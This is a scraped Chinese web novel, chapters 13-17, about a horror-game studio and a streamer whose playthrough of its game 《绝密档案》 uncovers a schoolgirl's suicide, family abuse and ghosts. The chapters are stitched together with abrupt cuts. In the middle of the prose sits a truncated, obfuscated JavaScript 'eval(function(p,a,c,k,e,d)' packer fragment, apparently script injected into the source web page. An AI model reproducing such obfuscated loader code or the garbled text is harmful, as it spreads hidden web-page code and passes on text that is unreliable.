昨晚一晚上没睡好,早上又被冻醒,起床看见客厅一副狂风过境的模样,只感觉自己真的是昏了头。莫名其妙地再换一块脊骨做什么?又不能继续增加灵力的吸收速度,纯纯找罪受。 但情绪上头就像摄入了大量酒精,把理智的那根弦完全绷断了。 虽然说后悔也算不上,但是…… 余光注意到自己公司的员工,余缺稍停住脚,外露的情绪也恢复如常:“早上好。” “早啊!”苏雾稍微快步走过来,对两人友善地笑了笑:“余总你也堵路上了吗?”一般来说,他该在公司所有人都还没到的时候,就已经开始工作了才对,今天这情况属实罕见。 余缺默认了这个说法,瞥了眼罗摩:“这是我们公司的新员工,暂时担任建模师。” 路上两人握了下手,又互道了姓名,聊了两句后,电梯来了。 三人先后进去,苏雾本来还想着要不要再起个话头,余光突然注意到新员工的脖子上,竟然有个痕迹鲜明的牙印。 苏雾:嘶…… 没记错的话,他是和余总一起下的车吧? 工作狂魔破天荒的迟到,又在清晨这个时间段,和一个痕迹暧昧的男人从同一辆车下来。苏雾眼神游移,试图在内心劝阻自己不要多想,但这个牙印就像是一条引线一样。她很快发现,余缺看似对这个新员工很不耐烦,但其实并不排斥对方,两人说话时挨得很近。而这个新员工,视线还时不时流连在余缺的后腰,有种淡淡的餍足…… 不行不行,快住脑!一定是你昨晚看CP的剪辑视频看魔怔了,现在才腐眼看人基。苏雾在心里狂敲木鱼。 电梯“叮”一声再度打开,强行收束了她纷杂的思绪,随着脚步声递进,职场打工人正式切换成工作状态。 清晨的阳光穿过玻璃,工位上的大家没有谁因为余缺的迟到分心,各自专注着手上的事,时不时和对接的同事商讨工作进度,一切井然有序。 今天来了个长相优越的新员工,虽然也有多看几眼,但更重要的依旧是工作。 此前陆含昭特意问了余缺建模的事,现在等来了对方,她并未表现得多高兴。原因也很简单,之前职位空缺,建模的事几乎是余缺一手包揽,她都习惯了和余缺对接,现在冷不丁换个新人,内心难免有些不信任。 游戏行业有句老话“原画归原画,建模归建模”。这说的就是行业现状:很多时候,建模师的水平和美学沾不上边。不说完全还原出原画给人的那种震撼,美术设计的角色形象是高级脸,结果建模成整容失败的样子,这种例子都不胜枚举,游戏玩家吐槽建模配不上原画的更比比皆是。 所以,这个叫罗摩的,脸是长得好看,建模的水平够漂亮吗?陆含昭在心里打出了一个问号。 事实证明,罗摩的建模水平和他的脸一样漂亮。不仅在接手建模工作后得心应手,还主动包揽了余缺之前所做的许多零碎工作,过程甚至没有磨合期,丝滑到宛如余缺本人一样,流畅无比。 因为他的到来,游戏的制作进度甚至再次加快了。 工作被分担了一部分后,也让余缺能稍微腾出手,专门去对接游戏外包的音乐和音效制作部分。 他的要求极为严苛,且具体到了游戏内每个流程、每个动作。比如,玩家们推开游戏里的一扇门,他就要听见那种悠长的、吱呀的开门声。玩家们走在空无一人的房间,就要能听见自己的脚步声在回荡,听见没关严的窗户外细微的风声。 接到这个单子的工作室或许从来没遇见过余缺这么难搞的甲方,不停的打回重做,时不时就要返工。由于不同材质的门,声音也是不同的,有次为了一个木门的开门声,他们来回返工了十几次,整个工作室的人头发都要愁白了,才终于让余缺满意。 整个制作过程里,要不是余缺一直在明确表述自己要的效果,即使让打回去重做,也是正常理由,没有一次含糊地说什么“感觉不对”之类的,他们就真想撂担子不干了——太折磨人了。 《绝密档案》内置的三个案子的相关音效全部制作完成后,整个工作室几乎是喜极而泣,每个人都暗自发誓,再接这个甲方的项目他们就是狗! 而作为甲方的余缺,又经历了一段时间的游戏收尾工作后,给员工们布置了新案件的相关任务,自己则正式开始主导《绝密档案》上线前的重要工作:测试。 由于公司才起步,员工数量少不说,又都是内部人员,这次测试工作余缺依旧进行了外包。和外包音效一样,涉及可能泄密的部分,请专门的律师拟定了需要签署的文件和协议。 具体测试能测出什么结果,余缺也有些心理准备。 没有哪个游戏是完美的,流程中大家都会有各种各样的bug。穿墙、无法选中、贴图错误、参数错误……这些在他们这些内部人员试玩时,一个都没冒出来的 13.文学城独发 [] 芸豆直播平台,主播“如影随形”面色倦怠地打开了直播摄像头。 今天是清明节,也是他定好要和粉丝正式告别的日子。至于原因倒也简单——他过气了。 在最光鲜亮丽的时刻,他的粉丝量曾超过九十万,眼看临门一脚要迈入百万粉丝主播行列,结果粉丝数又渐渐掉了下去。后续复盘,才发现自己涨粉的真实原因:是吃到了游戏《结伴自杀》的红利。 作为华夏恐怖类游戏的巅峰之作,《结伴自杀》的品质毋庸置疑,但它毕竟是买断制,游戏流程就那么长,即使“如影随形”有意延长了游玩的时间,也不可能一直播下去。他有试着在过段时间后重玩,但热度这东西实在玄学,作为本人也不能复刻之前的辉煌,再考虑到老粉不想看到重复的内容,最后计划实行到一半就告吹了。 在《结伴自杀》之后,直播游玩另外几款优质恐怖游戏,让他直线下跌的粉丝稍微回升了一些,但他天天直播,很快就全玩过了,导致越到后面,画风清奇的劣质游戏越多,玩起来别说恐怖,简直丧病。粉丝们因此认为他的风格变了,纷纷转去别家。 现今账号虽然还有三十万粉丝,但其中一半都是死号,收入微薄。最近几次开播,日常会刷点礼物的榜一又润去别的主播那里,这让他无比泄气,觉得自己再混也混不出个名堂,不如出去找个班上。 “大家晚上好。” 手上调整着摄像头位置,主播“如影随形”开始回答弹幕上的问题:“今天播什么?不知道啊,你们有想看我玩的吗?实在不行,我去扒拉点能当鬼畜素材的游戏,给你们当笑话看吧。”都要走了,也没什么拉不下脸的,让陪了这么久的粉丝稍微高兴一点也好。 他这么问了,弹幕上当然也有回答。有提名某评分1.7的“知名”游戏,也有说之前播过的一些游戏。一个个弹幕飘过去,其中一个吸引到了“如影随形”的注意力:影哥,gamer今天推出了清明节专题,有个叫《绝密档案》的新游戏好像很恐怖的样子。 “新游戏?难得啊。”他操纵鼠标打开gamer的游戏平台,为了不冷场,还习惯性地嘚吧嘚:“近两年都没啥正经的恐怖游戏出来,不管恐怖不恐怖,难得有新游戏嘛,我们试试……咦?” 他看到了平台推送游戏时放出的实机视频。 阴雨连绵的氛围,警车闪烁的蓝红灯光,坠下高楼又再次爬起来的尸体。视频末尾,整个扭曲到变形、满身浴血的尸体突然转过脸,直直看向屏幕方向。 “这游戏CG做得还行。”他点了进去。 《绝密档案》第一天上线,但有平台推送,不少玩家已经注意到了,目前下载量刚过三万,评分栏目也挂上了零星几条评论。“如影随形”浏览了一下,随即准备点击安装。手快,按下去才拍了下脑袋,忘记开模拟器了啊!结果超高速的网络已经把游戏下好,开始了安装程序。 “哎?是电脑游戏?” 不像国外,国内游戏圈最大一块的蛋糕在手游上,因此大部分国内厂商都是做手游。更何况gamer就是主推手游的平台,电脑端游戏放这里,有点不合适吧?游戏开始后台安装,他在平台二次翻阅,才发现《绝密档案》是手机和PC双端都可游玩。 那手机的体验会不会不好?心里涌现出这个疑问,很快又被“如影随形”抛在了脑后——游戏已经正式开始了。 开场就是自杀坠亡事件,也是被当作平台推送的那段视频的剪辑来源。他本来想跳过不看,但又发现画面里好像给了些案件的信息:跳楼的女学生穿着洗到发白的校服,家庭状况应该一般。在天台吆喝“谁家孩子像你这么不懂事”的npc,不知道是不是他的错觉,建模好像和跳楼的女生面庞相似…… 不知不觉沉浸到了开场动画的剧情里,“如影随形”都忘了说话,抬头一看,发现大家好像也没注意,都在讨论这段动画: “都尼玛要跳楼了,还说人家不懂事,真是***” “我现实真遇见过这种,有人要跳楼,楼下怂恿,结果人真跳了。” “说自杀脆弱的人我想翻白眼,人本来就容易脆弱啊,又不是钢板。” 这句话不知怎么戳中了某个笑点低的,在弹幕哈哈哈个不停。 见大家开心,“如影随形”干脆也就顺着氛围,把自己的话减少了一些,重心放在了游戏本身。 这段剧情过后,游戏的女主独自踩着夜色回家。 雨滴落在布质的伞面,声音细细密密,湿漉漉的公路上,川流不息的车辆带起泥水飞溅。路灯的光线昏黄,她脚步缓慢,似乎因为白天的事仍旧心绪不宁,喃喃道:“差一点,我就能抓住她了。” “就差那么一点……” 声音缓慢、悠长,全程都是极平静的语气,但莫名的,听着很让人心堵。 这两句自言自语的话后,她似乎等了一会儿,接着再度开口:“你今天好安静。” 【你:想我说点什么?(点击此选项)】 【你:你在和我说话?(点击此选项)】 【提示:游戏内每个不同选项在后续存在不同影响,请谨慎选择】 “不是角色扮演吗?居然还有对话?”看了看两个选项后,“如影随形”移动鼠标,点击了第二个。 听到这话,一直不急不缓前进的她突然停住脚,站在了一处路灯下:“你是谁?” 【你:______。】 “如影随形”简单填了个“小辉”。 “小辉。”她缓慢地抬起头,晦暗不明的光线中,她的瞳孔折射出一点细微的白光,脸上呈现的神情,则是纯粹冰冷的审视。她没说什么,只是从衣服口袋里拿出了手机,似乎想给谁打电话。 界面随视线转到手机屏幕,最上面的联系人,写着“A医生”。正要点击拨号,路边一辆车迅速飞驰而过,带起的污水溅了她满身。车子没有停下,短暂惊诧后,她只能狼狈地一边撑伞,一边去拍打身上的水珠。 【你:无动于衷,不作回复(点击此选项)】 【你:尽快回家吧,会感冒的(点击此选项)】【鼠标点击】 听到这句极为简单的关心话语,她似乎愣了一下,接着露出了轻快的笑:“谢谢。” 接下来的路上,她放弃了打电话的举动,转而继续谈起了白天那个案子:“老大说已经按自杀结案了,所有资料已经存档,不会追究那些围观人员的罪责。其余人就算了,那个老人实在是……”那句话,简直是压死骆驼的最后一根稻草。 【你:人的言语能杀人无形,但程序上很难用证据起诉(点击此选项)】 【你:那个老人,我总觉得……(点击此选项)】【鼠标点击】 她:“觉得什么?” 【你:好像和那个自杀的女孩长得有些相像(点击此选项)】【鼠标点击】 此时刚好走到了她家楼下,这句话让她按电梯的手指微顿了顿。接下来是很长一段时间的沉默,老旧的电梯 14.文学城独发 [] 温暖的橘色灯光照在钢琴上,一双手在黑白琴键上跳跃,随着指尖有序按下,音乐的节奏舒缓又平静。 拿着公文包,一身疲惫的中年男人用钥匙开门进来,听见屋内弹钢琴的声音,他露出柔和的笑,一边换鞋,一边冲屋内琴房的方向道:“这么晚还在练琴啊,我们淙淙真棒!弹完这首就休息吧。” 闻言,悠扬的钢琴声却变得时断时续起来,不少音符被弹错,让正常的乐曲变得有些刺耳。 男人听得皱了下眉,又很快舒展,他踢踏着拖鞋去客厅放公文包,温言细语地劝慰:“淙淙,弹错也没关系的,咱们慢慢来。” 屋内钢琴的音符愈加急促,没弹几下,就只剩下乱按琴键而发出的、那极度急促又紧密刺耳的高音。 中年男人有些生气,快步走到了琴房门前,一把将门拉开:“淙淙——” 声音戛然而止。 屋内空空荡荡,只有打开的窗户外吹来夜风,将钢琴后的窗帘吹得轻微晃动。头顶的大灯没开,房间里,只有一盏橘色的台灯坐落在钢琴不远处,安静地散发着柔和的光。 握在门把手上的手掌不自觉松开,中年男人表情愣怔地呆立当场。 客厅传来的钥匙开锁声将他惊醒,回头才发现,是老婆带着儿子回来了。卷发女人一手拉着儿子,一手提着水果,身边还跟着被主播“如影随形”成功操控着的女主。 中年男人声音有些颤,像是想证明什么:“你们,你们有听见弹钢琴的声音吗?” 卷发女人说没有,正在舔冰淇淋的小男孩也说没有,男人把视线转向女警员。 【你:听见了(点击此选项)】 【你:没有(点击此选项)】【鼠标点击】 “如影随形”点下这个答案,颇有兴致地回复弹幕:“这个npc撞鬼啦哈哈哈,我听见又怎样,就要说没听见,看看他反应如何。” 中年男脸皮细微抽搐,身体也有些僵硬,但他还是僵笑着和客人打了招呼,让大家进客厅坐。 这个阶段刚刚经历了新手教程,“如影随形”一边熟悉键位,一边开始试图进房间翻找线索。出乎意料的是,他刚刚开始动作,这对夫妻就表露出了对这个失礼动作的不满。他不听劝告强行继续,竟然被轰出家门了? “我去,所以我还需要得到npc许可才行吗?” 看着游戏界面弹出的需要回档,或者等待游戏时间的第二天才能继续的提示,“如影随形”果断点击了回档。 这一次,“如影随形”耐住性子,操控女主和房间里的几个npc对话,而对话的内容,就是她来此的目的:询问这个中年男人为什么还不去收敛女儿的尸体。 这个地方的警局不大,没有存放尸体的冷库,当时法医检查后,是直接送到了附近的医院冷库进行储存。但冷库是要钱的,警方在后续查到了家属联系方式后,就通知了他们去收敛尸体,也有询问他们是否需要进一步调查,被拒绝了才以自杀结案。 现在已经过去几天时间,明明医院离这里不远,他们却一直不去敛尸,葬礼也没办。医院那边打电话给警局,说现在冷库的位置紧张,希望他们能催促家属。 由这个话题作为开头,“如影随形”和三位npc都聊了聊,由此先确定了身份:中年男人姓白,是女孩的生父。旁边的卷发女人姓陆,她和白先生刚结婚一年多,是继母。至于身边这个叫淙淙的小男孩,女人说是她和上一任丈夫的孩子。 对于继女从这栋房子的顶楼一跃而下这事,这位姓陆的女士表示并不清楚背后的原因。她自认不是个恶人,同继女私下相处也不多,日常交流除了叫吃饭,几乎没有别的话,同在一个屋檐下,但如同陌生人一样。 陆女士:“她不是我生的,我没理由对她好,但也没理由对她坏。说到底就是家里多张嘴吃饭而已,又不是养不起。更何况她都要高考了,到时候去读大学,更是八百年见不到一回。” 继续追问她对于继女自杀的原因,她犹豫着道:“之前听邻居的孩子说过,她在学校好像受了些欺负,但我没问,也没管。” 看得出,她对继女很冷漠,态度也很坦然。 再问起旁边这位姓白的中年男人,他也表示不清楚女儿为什么会自杀,但其余的话不肯多说。 【你:那为什么不去收敛你女儿的尸体?(点击此选项)】 【你:那为什么她跳楼时是周日,还穿着洗到发白的校服?(点击此选项)】【鼠标点击】 【你:白先生,她在这个家真的过得好吗?(点击此选项)】【鼠标点击】 “哪里就不好了?!我供她吃喝,供她读书,这个家哪里就不好了!!”这句话显然戳到了男人的痛脚,他气急败坏地骂了几句,接着就开始口不择言:“你当她是什么好孩子吗?学习不努力,生活不上进,你去打听打听,她才刚过十八岁,就跑出去和男人开房,我脸都要被丢尽了好吗?!” “人家老师专门打电话来,和我说警方抓卖yin的把她也抓了进去,让我去派出所领人。我这辈子都没那么丢脸过!四周都是警察,她浓妆艳抹得像个鬼一样,被手铐铐在地上,警察训我,说我不会管教,她还在旁边笑。我当时都恨不得掐死她!” “我为什么不给她钱?给她钱干嘛!去鬼混吗?去买烟还是去酒吧喝酒?”说到激动处,男人虚张着五指,在空中胡乱比划。他似乎很久没有睡好了,双目微凸,黑眼圈很深,眼眶里布满了血丝,发疯般地嚎叫着:“你懂什么?!啊——你懂什么?!她跳楼死了才好呢,死了一了百了!” 屋外,一道闪电突然划破夜空,惊雷随之炸响,屋里停电了。 中年男人突然惊惧起来,慌张地乱叫着。旁边的女人想去检查看看是不是跳闸,却被男人死死抓住了手。 又一道闪电亮起,屋内短暂地能看清全貌。出乎意料的是,两个大人乱作一团,而这个叫淙淙的孩子,却静静地坐在沙发上,不紧不慢地舔着没吃完的冰淇淋,目光越过父母,直直看向了一个方向。 那里,是紧挨着客厅的饭厅。四四方方的红木桌子,四个同样材质的椅子摆得整整齐齐。 明明空无一人,但淙淙却露出一个充满童真的笑,伸出小手,打 15.文学城独发 [] 这宛如某种无声的邀请。 她下意识地后退了一步,眼睛紧盯着门缝里的那片黑暗。 又等了一会儿,壮着胆子一步步上前,她微颤的手慢慢伸向房门,刚一触碰,似乎就被冰凉的金属吓到了,手指下意识一缩,接着再度做好心理建设,将门缝拉大。 “吱呀——” 拖长的开门声,在这样的环境下都显得有几分诡异。她屏住呼吸,小心翼翼地试着向前探出脑袋。还没看出个所以然,背后响起了弹珠落地的声音。 她本能地回头寻找声源,就在此时,黑暗中伸出一只苍白又冰凉的手,伴随着重击的音效,猛地抓住了她的手腕往里拖拽。 面临恐惧,人的潜能被全部激发,她从未爆发出如此强大的力量,在奋力拉扯回自己的手后,反手将门推回,接着几近疯狂地向电梯方向奔去。 一路上,锤门的“砰砰”声响彻整个楼道,平板的金属门被从里砸出无数拳头和手掌的印痕。感知到她越来越远,鬼魂爆发出了强烈不甘的嘶吼。 她额头上全是冷汗,三步并作两步跑到电梯前,狂按电梯按钮,同时慌张地往后看。那扇门已经被锤打得完全变形,眼看着就像是要破门而出,又突兀地安静了下来。不等她松一口气,心又再度提到了嗓子眼。 ——那只苍白的手竟从门缝里伸出,按在了外面的门锁上。 很清晰的开门声。 手指按电梯钮的速度更快了,她声音里也不自觉带上了哭腔。 门缓缓打开,那双灰白的、像是储存太久而有些腐烂的手,从黑暗中伸出,抓在了门沿上。 “嗒叭-” 一块腐肉从手臂上掉下,连带着黑色的汁液,在地上落下一块凸起。 “叮—” 电梯到来的声音在此刻宛如天籁,她牙齿打颤,背对着电梯胡乱摸索,在感知到电梯门打开的瞬间,她发挥了此生最大的速度,侧身猛挤了进去。 见电梯呈现出等人的停顿,她几乎是扑到电梯面板上,疯狂戳按关门键。 那只鬼并没有追上来。 电梯门顺利缓缓上合,将一切关在了门外。 安全回归,她浑身发软,几乎要站立不住,用微颤的手扶住了自己,声音也带了一丝委屈的哭腔。 但这里也不是久待的地方,深吸了一口气后,她试着平复心境,又记起自己忘了按楼层,吸了吸鼻子,伸手去够。 手指和冰凉的金属触碰,摸索,迟疑。 那里光滑无比。 像是意识到了什么,她微抬起脸,颤抖着后退一步,画面随之扩大。此时面前根本不是什么电梯门,而是停尸间的门。她并没有逃进电梯。 她进到了停尸间里面。 一股凉意从脚底直冲到头顶,她几乎要忘了呼吸,齿间打颤,眼泪不自觉地落。 走廊外面明亮的白炽灯闪烁起来。 她颤抖的、情不自禁地转过身,在忽明忽暗的光线中,看见室内一具具整齐排列的、盖着白布的尸体,在“咯、咯”的关节摩擦声中,全部坐了起来。接着齐齐头颅扭转,面向她的方向,脸部肌肉僵硬地拉扯着,露出诡异又恐怖的微笑。 “我操啊啊啊——” 这令人心悸的画面,直接让直播摄像头前的“如影随形”手一抖,把鼠标扔出去了老远。 “SAN在掉,我知道在掉啊!我要是有SAN值我都该掉了好吗?!” “什么回档,不回!这肯定是必定剧情,再来一次那个工作人员还会被支走,你们别想骗我再来一次!” 女主SAN值掉得太快了,在前面门第一次打开的时候,“如影随形”还能去商店购买道具,强行让其冷静下来,操控人物继续往前探索。但这次道具都没来得及用上,女主直接晕了过去。 弹幕上都是叫嚣着回档的,说停尸房肯定有线索吧啦吧啦,“如影随形”坚决不同意,于是下一幕直接跳到了医院病房。 白和蓝的主色调布置,在清晨金色的阳光下显得澄澈又温暖。四周有些嘈杂的人声,旁边的小桌子上摆放着木盒和花瓶,白色的栀子花还带着露珠,上司正坐在旁边玩手机。 见她醒了,上司帮忙把床调成了坐靠的模式:“感觉好点了吗?” 她:“我晕过去了?” 上司:“你好意思说,大晚上在火葬场闹,人家那个值班的工作人员都要被你吓死了。” “火葬场?!” 经过对话后得知,在她和作为玩家的“如影随形”眼里是晕了过去,但在别人眼里,她当时像是魔怔了。 带着去领尸体的工作人员打完电话,回头就看见她已经自己进去了停尸房,而且还直愣愣地站在死者的尸体旁,和她搭话也不回,把人吓得起一身鸡皮疙瘩。 火葬场的车把人和尸体一起接走后,工作人员按照惯例询问,要不要整理尸体的遗容,而她只来回重复两个字“火化”,表情僵硬,眼睛直勾勾地盯着尸体,状态委实瘆人,把人吓得够呛。 赶着流程把骨灰放在了盒子里后,她把盒子抱着就往外走,人家怕他出事,硬着头皮跟上去,拉拉扯扯间,她晕了过去。 救护车被叫来,几个人高马大的医生想把她手里的骨灰盒取下来,硬是没掰动。但车子刚路过菜市场,一个卖鸡的摊贩经过,公鸡一声嘹亮的打鸣,她的手就忽然松了。 整个过程实在过于邪性,在场的人都吓到了,还好后面正常了许多,她也没事,只是看起来体力消耗过度,被放病床上打点滴。 这段对话很长,她中途看向放在花瓶旁边的木盒,无意识地攥着被角。直播镜头前的“如影随形”也轻嘶了一声:“好家伙,这也就是游戏了,现实里真遇上不得被吓死。” 见她面露惊恐,上司突然意识到什么,眼睛眯起打量了她半晌:“我原以为你是八字轻,现在看来,你是看得见那些东西?” 她抿了抿唇,没有回话。 上司:“……” 从身后的包里取出了那封盖下绝密红戳,编号1249的档案,上司:“本来不关你的事,但你擅自插手死者私事,现在不管你到底有没有阴阳眼,会不会所谓的玄学法术,也只能硬着头皮走到底了。” 她慢慢把袋子拿到手里:“我不太明白……” “人家已经缠上你了。” 上司说着就叹了口气:“本来,我们每个警局都有专门处理这类事的部门,叫特殊事件调查组。你有这方面的天赋,其实入职后应该会被调进去,从最基础的做起。 16.文学城独发 “情蛊”因为特殊的作用,一直被认为是情侣之间的专属。因此才让他们先入为主,觉得情蛊一定是用在男女之间的感情,从而下意识忽略了,人的感情并不止爱情一种。 所以,上司走访调查了几天,才会一个疑似被死者爱慕的人都找不到。不是他排查得不够细致努力,是完全没有这个人。 再结合之前这位白先生的反应来看,这个情蛊,死者的奶奶只下在了死者一人身上。 也就是说,在死者生母死后,她本来极度厌恶父亲,厌恶到不肯用他的钱,自己出卖身体养活自己的程度。但因为情蛊,她爱恨颠倒,重新对父亲有了亲情。 那这个女孩又为何会如此憎恨自己父亲呢? 经过查证核对这位白先生在前妻死后、和第二任妻子的结婚时间点,就不难发现,几乎是死者生母意外身亡后,他就无缝衔接了。这很难不让人猜测,白先生之前是不是出轨了…… 假设这个推测成立,那一切的爱恨都有了解释。 要验证这个推测,当然可以继续走访相关人员进行求证,但也还有个快捷途径——给当事人电话。 【你:试着打电话给白先生(点击此选项)】 【你:试着打电话给陆女士(点击此选项)】【鼠标点击】 拨出电话后,很快就被接通。双方互相确认身份后,发现警方打电话来不是因为之前给的安葬费不够,而是询问死者相关的问题,陆女士那边沉默了一下:“我和她关系并不好。”言下之意,可能提供不了多少信息。 但警方要问,她还是有问必答。 在她眼里,继女很讨厌她,她也懒得讨嫌凑上去。就是父女俩关系骤然变好的时候,她同继女私下相处也不多,日常交流除了叫吃饭,几乎没有别的话。同在一个屋檐下,如同陌生人一样。 【你:她很讨厌你?为什么?(点击此选项)】 【你:她很讨厌你,因为你是她爸爸的出轨对象?(点击此选项)】【鼠标点击】 这句话有些过于尖锐,电话那边一时没有回话,好一会儿,才传来一个“是”字。 而吐出这个字后,陆女士的倾诉欲也如同洪水一般倾泻而出:“不仅如此,更重要的是,她妈死于火灾的那天,我在和她爸约会。就是这场约会,导致她爸回家晚了一步,也因此没能把人救出来。” “我们是变相杀了她母亲的凶手。” 陆女士的坦白,将属于死者生平的一块重要拼图构建了出来。 她怎么可能不恨自己父亲呢?原本的家已经支离破碎,母亲在火海中挣扎的时候,生父却在和情人约会,之后母亲尸骨未寒,他就顺理成章地有了新的家庭。这个时间,死者还刚刚经历了校园霸凌。 血亲的冷漠、忽视,映射在她身上,转变成了深深的憎恨。 但另一位血亲,却又用“情蛊”,生生将扭曲的一切强行掰“正”,这简直是在践踏属于正常人的思维和意志。 “不仅如此,她跳下去前,这个姓白的肯定还说了什么。”上司在旁边目不转睛地盯着电脑屏幕,将死者生前进入生父公寓楼的监控录像来回拉动,接着按下暂停,指向屏幕上的人影:“她此时才正式心存死志。” 录像里的她,去生父家时脚步飞快,像是着急赶着做什么事,但出来时,她失魂落魄,差点站立不稳,扶着墙壁一步步挪到了天台。 挂断电话,他们直接开车去了这位白先生的家。 陆女士来开门,带着两人走进卧室,一个小孩亦步亦趋地挂在她腿上,睁着圆溜溜的大眼睛观察两位来访者。 白先生蜷缩在卧室里床上瑟瑟发抖。一把揭开蒙在身上的被子后,他吓得不行,虚张着五指在空中胡乱比划,看起来很久没有睡好了,双目微凸,黑眼圈很深,眼眶里布满了血丝,试图要把自己藏起来。 到了这个地步,暴脾气的上司也不再惯着他,把人直接揪了起来,询问当天到底说了什么。在玩家的怂恿下,上司还说出了“冤鬼索命”的话。感觉到死亡威胁,这位白先生终于哆哆嗦嗦地张了口:“我不是故意的,我当时只是,只是太生气了……” 在他口中,当天的女儿不知道发什么疯。本来不是都和好了吗?他不知道女儿为什么又像之前一样,硬要把前妻的死怪在他头上。可前妻的死能怪他吗?那么大的火,消防队都没冲进去把人救出来,他去有什么用? “她听不进我说的话,中间还疯了一样试图要用刀捅我,再怎么说我都是他老子啊!我当时真的气疯了,真的,所以才口不择言……” 游戏的画面闪回到现场。他面目狰狞,扬手就给了面前拿着刀的女孩一巴掌,接着揪住人的衣领:“怪我吗?啊!怪我吗?!我只是晚回去了几分钟而已,你也不想想,要不是因为你,你妈根本就不会出车祸,也不至于起火了还跑不出来!” 他越说越顺,脸上满是憎恶:“是谁那么不懂事,被人欺负了都不知道还手!是谁因为别人说几句闲言碎语就睡不好觉!是你啊!要不是你,她那天根本就不会出门,也不会出车祸!起了火,她也不会挨在床上等死。” “都怪你啊!你个灾星,就是生了你,家里才越来越不好过,我们才吵着要离婚,你还恨我,我才该恨你啊——” 雪白的刀“哐当”掉落在地,女孩虚睁着眼,泪水滑落眼眶。 画面切回。 听着当事人一边辩解一边陈述,上司抽丝剥茧,察觉不对就开始反驳。差不多问出了真相后,他再也忍不住,直接揍了他一拳:“我操你妈的畜牲玩意儿,你说得是人话吗?啊!” 系统适时弹出了是否阻止的提示框,女主在玩家的操纵下冷眼旁观。 一直冷眼旁观的还有陆女士。 等人被揍得鼻青脸肿,她才冷漠地开口:“我们离婚。” 持续挨揍的男人也不知道哪儿来的力气,竟然挣脱了上司的拳头,扑到妻子脚边:“老婆,老婆你不能这么对我!我什么都没有了,我只有你了啊老婆——” 被苦苦哀求的陆女士却纹丝不动:“你对你亲生女儿都能冷漠到这个地步,我要有个三长两短,淙淙能活?”淙淙,就是挂在她脚边,此时依旧不哭不闹的孩子。 见人继续哀求,她反而看向了被玩家操控的女主:“不要信他,他还在撒谎。他前妻的车祸,根本不是去学校处理那女孩的事,她是知道了丈夫出轨,想要当面对峙,路上开车打电话才导致车祸。” “那孩子是被骗的,她没有害死自己母亲。” 事情进展到这里,所有的真相都浮出了水面。 从时间线看,死者生前先是和父母生活,父亲出轨时,她正遭受校园霸凌,死者的母亲就此事进行了报案。此时死者母亲同时发现了丈夫出轨,打电话时注意力被分散,出了车祸。后面情况应该很不好,回家休养时都写下了给女儿的遗书,但没想到的是,大火比病情蔓延地更快。 而那场火灾后,生母死亡,生父再婚,家庭巨变下,死者在学校应该也一直过得不好,那次“小偷案”就是佐证。她开始无比憎恶自己的父亲,直到被下了情蛊,又清醒过来。 发现自己的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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这种环境中,再细微的声响也会被放大,那种悉悉索索的啃食声也清晰起来。大白天的,这里的老鼠也太猖狂了。 走到顶层,整个地面和走廊呈现出被熏过的黑烟痕迹。越往里走,那种被烧过的痕迹越是明显,有些房门都被烧掉了一半,但最里面的那间,却是一扇崭新的门嵌在整个焦黑的环境里,看起来非常违和。 那种老鼠啃食的声音更大了。 家里有人的话,老鼠不会这么猖狂吧?心里这么想着,她伸手敲门:“你好,有人在家吗?” 敲门声在空旷的楼道里带出了回音,等了一秒后,她再次大力拍门:“你好——”这一次,房门被从内徐徐拉开。黏稠的、混合着不知名细小碎块的血液,如同河水一般从房间内漫了出来。 晦暗如血的红光侵占了整个空间,空气里满是腥甜又浓郁的、令人作呕的诡异气味。 这里到处都是红色的、像人体组织一样的黏膜,挂在室内焦黑的墙壁上,交叉错乱,既像是另类的、某种大型蜘蛛的巢穴,又像是刚从女性体内剖出的子宫。 而搭在门把手上的,居于视觉中心的,是倒挂在天花板上,浑身覆盖着焦黑和烫伤溃烂出红色皮肉的怪物。没有头发,没有眼睛,脸上只有大张着的满是锯齿的嘴巴,肚子圆鼓,外表的皮肉都撑出了黏膜的裂纹,没有脚,又或者说,那么多的附肢也都是脚。 她此时,正用几只焦黑的手抓着一个瞳孔完全呈现黑色状的人,满是锯齿的嘴一口咬下去,那人的颈骨“咔擦”一声断折,脑袋歪斜过去,身体还在细微抽搐,骨头和血肉被咀嚼,发出和刚刚如出一辙的啃食声。 17.文学城独发 她会是新的食物。 这个念头出现在脑海的一刻,女主肢体僵硬,一个字都吐不出来。她的喉咙和脑子好像同时锈住了,甚至忘了呼救或逃跑,就那么眼睁睁地、看着那只搭在门把手上的黑色长肢,慢慢按在了她的脖颈上。 接触的瞬间,她身体完全僵直,抬起的脸上,布满血丝的双眼圆睁,黑色的、宛如墨迹一样的东西从下方的眼白开始,将她整个眼球蔓延成了黑色。 【您的SAN值即将归零】 怪物扔下啃食到一半的尸体,身上的其余附肢悉数张开,宛如巨大的、畸形的人形和蜘蛛的结合,从天花板上,不急不慢地走向新的猎物。 【您的SAN值即将归零】 “我靠啊我在买了在买了别催——” 镜头前,“如影随形”满头大汗地打开商店购买道具,此时,游戏画面突然闪了一下,等他匡匡买完,正准备不管道具说明全用上的时候,游戏突然弹出网络波动而被直接登出的提示。 “啊我操?我网不好?不可能啊我的千兆网。” 尝试点击鼠标再次登录,界面上一直转圈,进不去。多点几次,甚至显示需要建立新号。“如影随形”本来正在兴头上,现在心里那口气上不去下不来,存档还可能坏了,简直气得发疯:“天杀的制作组你们什么破服务器啊,我要拿刀去杀了你们!我的档啊!!!” 他没注意,现在视频的弹幕已经比之前刚开播时多了十倍不止,见他情真意切地哀嚎,到处都是“哈哈哈哈”。也有真心觉得主播惨的,一起痛骂游戏官方。 还有人提出了不太好的猜想:“不会是被那个很有名的黑客组织给攻击了吧……” 黑客,这个名词像是天生蒙着一层神秘面纱。被冠以黑客组织的称谓,往往也会被想象成“在网络上无所不能”的高大形象。 但这位观众提起的,是近几年在游戏行业兴起的几个黑客组织,和大众想象中“劫富济贫、锦衣夜行”的高大形象不同,在业内可谓是臭名昭著。 他们往往会盯上很多资金并不充裕的小型游戏工作室、小型游戏公司等,在游戏上线的关键时期,用各种方法攻击对方的服务器,让正常玩家无法登录,再以此勒索。(*) 